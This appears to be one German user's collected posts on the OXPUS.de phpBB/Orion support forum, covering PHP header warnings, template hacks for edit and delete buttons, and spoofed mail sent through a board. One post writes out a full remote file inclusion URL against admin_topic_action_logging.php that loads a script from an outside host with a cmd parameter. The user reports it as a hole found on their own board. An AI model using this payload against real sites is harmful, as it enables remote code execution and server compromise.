OXPUS.de

[quote="oxpus";p="85795"]eigentlich nichts groß daran geändert...[/quote]
aber du hast was geändert, oder? Sonst würds ja jetzt nicht gehen. Danke nochmal.

danke. Meld mich.

Edit: Ja, so funktionierts. Danke vielmals.

>> Und ohne die Änderung nicht?

nein, ohne ist alles ok.

nee, da ist alles ok. Ich arbeite mit Mac und nehme als Editor TextMate.
Nach ?> kommt nichts mehr

[quote="oxpus";p="85789"].. oder nur beim Öffnen eines Topics?[/quote]
ja, nur da

mmh, jetzt kommt


43200
Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/w00963b0/cms/viewtopic.php:1) in /www/htdocs/w00963b0/cms/includes/functions.php on line 1018


und


43200
Warning: Cannot modify header information - headers already sent ...

wie ich schonmal schrieb: Du bist sehr nett und hilfbereit. Danke dafür.

kannst du mir bitte sagen, wie? Das wäre sehr nett.

[quote="oxpus";p="85766"]Klar sind die enthalten, aber warum auskommentiert?[/quote]
oops, wie kann das passieren? Ich schau gleich nochmal. Danke.

Edit: Oh Mann, das wars. Nochmal danke

ja, ok. Danke. Aber der Löschbutton ist immer noch da.
Wohlgemerkt: Es ist ein Orion 2.4.5 System

[quote="oxpus";p="85749"]Hast Du denn auch die lang_main.php gemoddet?[/quote]
ja, ist doch auch mit im Anhang.

Dann kommt

[quote="oxpus";p="85741"]Und nach der Änderung von mir auch ?[/quote]
Doch, da steht dann statt "Willkommen" => ", Username"

[quote="oxpus";p="16146"]Hiermit wird der Edit-Button ausgeblendet, wenn der Post älter als 24 Stunden ist und der User kein Mod oder Admin ist.[/quote]
Es wäre schön, wenn auch der Löschbutton verschwinden würde. Geht das auch?
Evtl. so:

if ( ( $userdata['user_id'] == $poster_id && $is_auth['auth ...

[quote="oxpus";p="85737"]Es stand ja auch nirgends, daß der Name eingefügt wird, oder???[/quote]
nee, darum gings auch nicht. Sorry. Oben steht (unbearbeitet) "Willkommen".
Dann sollte (bearbeitet) stehen "Guten Morgen".
Es steht dann aber gar nichts mehr da. Der Username erscheint in beiden Fällen ...

Hi,

im Anhang die 2 Dateien. Danke.

Hallo, ich grabe mal den Thread aus. Sorry.

Hab vor kurzem ein neues Orion Board 2.4.5 mit aktivem Style
UK SilverGrey Theme by Orionstyles.de installiert.
Leider funktioniert obiger Hack überhaupt nicht.
Unbearbeitet steht dort "Willkommen", bearbeitet dann gar nichts mehr.
Hat jemand nen Tipp ...

danke. Ist der im letzten (downloadbaren) Orion schon drin?

danke. Aber ich setze das Board neu auf. Das war noch ein altes Minerva, you know?

[quote="AmigaLink";p="64454"]Von welchem MOD kommt die admin_topic_action_logging.php ???
Der hat ganz offensichtlich ne schöne Sicherheitslücke. ^6[/quote]
das weiss ich nicht mehr. ^5 Hab das Board vor 3 Jahren für jemanden aufgesetzt.
Jetzt hab ich die Datei erstmal gelöscht und werde ein neues ...

Hallo,
heut hab ich einen "neuen" Hack entdeckt.
Durch Eingabe von:
http://www.noulu.de/community/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://netevenanders.com/gastenboek/tmp/go.txt??cmd
kommt man auf ein .. ach seht selbst ¦4 (bitte nicht benutzen!)
Auf diesem ...

[quote="oxpus";p="60774"]Wie gesagt: Von ausserhalb ist es nicht möglich, den SMTP zu benutzen, ohne die Anmeldedaten zu haben.[/quote]
Es war PHP Mail eingestellt. Da ist das möglich?
P.S. Hab es jetzt auf SMTP geändert.

[quote="oxpus";p="60764"]Hast Du Emails per Board zugelassen?
[/quote]
ja. Aber dabei kann man doch bloss von seinem Account zu nem anderen aufm Board mailen und nicht extern, oder?

Oder auch ein MOD, der Emailen ermöglicht?

ka

[quote="oxpus";p="60761"]Direkt absprechen von aussen lässt sich kein Mailserver, aber man kann den Header bei eigenen Emails manipulieren und so vortäuschen, daß man jemand anderes wäre...[/quote]
ja, das weiss ich. Aber gewisse Headerzeilen lassen sich nicht manipulieren.
Und das Logfile zeigt ja ...

mmh, hoffe, ich kann hier mal einhaken!? ;)
Bei mir sind heute übers Board 2 Mails abgesetzt worden mit gefaktem
Absender an eine reale Mailadresse. Der Header zeigt www-data als Return Pfad.
Wie/Wodurch kann das passiert sein. Kann man, wenn man es weiss,
ein PHP Mailscript des Boards direkt ...

vielen Dank @cback Klasse